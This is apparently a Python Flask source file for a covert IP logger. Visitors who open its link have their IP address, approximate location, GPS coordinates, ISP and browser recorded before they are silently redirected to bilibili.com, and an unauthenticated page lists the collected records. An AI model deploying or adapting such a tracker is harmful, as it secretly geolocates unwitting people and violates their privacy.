from flask import *
from io import BytesIO
import qrcode, base64, os, ast
import time
import socket, requests

__version__ = '0.0.1'

path = os.path.dirname(os.path.realpath(__file__))
dataf = os.path.join(path, 'Load.cot')
iis = []

# ------ FUNCTION ------ #
def checkip(ip):
    URL = 'http://ip.taobao.com/service/getIpInfo.php'
    try:
        r = requests.get(URL, params=ip, timeout=3)
    except requests.RequestException as e:
        print(e)
    else:
        sie = {}
        json_data = ast.literal_eval(r.json)
        if json_data[u'code'] == 0:
            sie['Country'] = json_data[u'data'][u'country'].encode('utf-8')
            sie['Aera'] = json_data[u'data'][u'area'].encode('utf-8')
            sie['Region'] = json_data[u'data'][u'region'].encode('utf-8')
            sie['City'] = json_data[u'data'][u'city'].encode('utf-8')
            sie['ISP'] = json_data[u'data'][u'isp'].encode('utf-8')
            sie['all'] = sie['Country'] + ' ' + sie['Aera'] + ' ' + sie['Region'] + ' ' + sie['City'] + ' ' + sie['ISP']
        else:
            pass
        return sie

def lookip(ip):

    url = 'http://freeapi.ipip.net/'   #中文免费
    url2 = 'http://ip-api.com/json/'   #外国网站
    args = ip
    url=url+format(args)
    url2 = url2 + format(args)
    response = requests.get(url)
    response2 = requests.get(url2)

    striis=response.text.replace('\"','') #去掉双引号
    striis=striis.replace('[','')            #去掉方括号
    striis=striis.replace(']','')
    striis=striis.replace(' ','')

    striis=striis.split(",")   #已逗号为分割符号，分割字符串为数组
    strpp={}                  #定义一个字典strpp
    strpp=response2.json()    #把英文网站json接口返回值传给字典strpp
    print("IP地址 %s 来源地是："%(strpp.get('query')))
    print("国家：%s"%(strpp.get('country')))
    print("城市：%s"%(strpp.get('city')))
    print("经纬度坐标：%s,%s"%(strpp.get('lat'),strpp.get('lon')))
    print("运营商编号：%s"%(strpp.get('as')))
    print("ISP服务商：%s"%(strpp.get('isp')))
    strpp['all'] = strpp.get('country', 'None') + ' ' + strpp.get('city', 'None') + ' ' + strpp.get('as', 'None') + ' ' + strpp.get('isp', 'None')
    strpp['loc'] = str(strpp.get('lat', 'None')) +  ' ' + str(strpp.get('lon', 'None'))
    return strpp

def GetIP():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(('8.8.8.8', 80))
        ip = s.getsockname()[0]
    finally:
        s.close()
    return ip

def SimplifyPath(path):
        path.replace('\\', '/')
        path.replace('//', '/')
        list = path.split('/')
        res =[]
        for i in range(len(list)):
            if list[i] == '..' and len(res) > 0:
                res = res[:-1]
            elif list[i] != '' and list[i] != '.' and list[i] != '..':
                res.append(list[i])
        return '/'.join(res)

def ConvertSize(text):
    units = ["B", "KiB", "MiB", "GiB", "TiB", "PiB"]
    size = 1024
    for i in range(len(units)):
        if (text/ size) < 1:
            return "%.1f%s" % (text, units[i])
        text = text/ size

def load():
    with open(dataf, 'r', encoding='utf-8') as df:
        indata = '[' + df.read() + ']'
    return ast.literal_eval(indata)

def save(dic):
    with open(dataf, 'a+', encoding='utf-8') as df:
        df.write(str(dic))
        df.write(',\n')

def clear():
    with open(dataf, 'w+', encoding='utf-8') as df:
        df.write('')

# ------ INIT ------ #

iis = load()
localip = GetIP()
print(localip)
app = Flask(__name__)
app.secret_key = 'C-i6tyW8~gmckBS'
app.config.update(DEBUG=True)

# ------ PAGE ------ #

def Account(session):
    data = {
        'account':{
            'uid':None,
            'head':None,
        },
    }
    if session.get('uid') and session.get('uid') != '_None':
        data['account']['uid'] = session.get('uid')
        data['account']['head'] = '3206921401'
    
    data['ip'] = localip
    
    return data
    
@app.route('/')
def home():
    data = Account(session)
    return redirect("/rem")

@app.errorhandler(404)
def page_not_found(e):
    return redirect("/rem")

@app.route('/listiis/')
@app.route('/listiis')
def listiis():
    global iis
    data = Account(session)
    data['iis'] = iis
    return render_template('list.html', data=data)

@app.route('/rem/')
@app.route('/rem')
def rem():
    IP = request.remote_addr
    inf = lookip(IP)
    di = {IP:{
        'Bs':str(request.user_agent.browser) + ' ' +str(request.user_agent.version),
        'Local':inf.get('all'),
        'gps':inf.get('loc'),
        'Time':time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()),

    }}
    save(di)
    iis.append(di)
    return redirect("https://bilibili.com")

@app.route('/asfor/')
@app.route('/asfor')
def asfor():
    ans = str(iis)
    return ans

@app.route('/cleariis/')
@app.route('/cleariis')
def cleariis():
    global iis
    iis = []
    clear()
    return str(iis)

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=80)
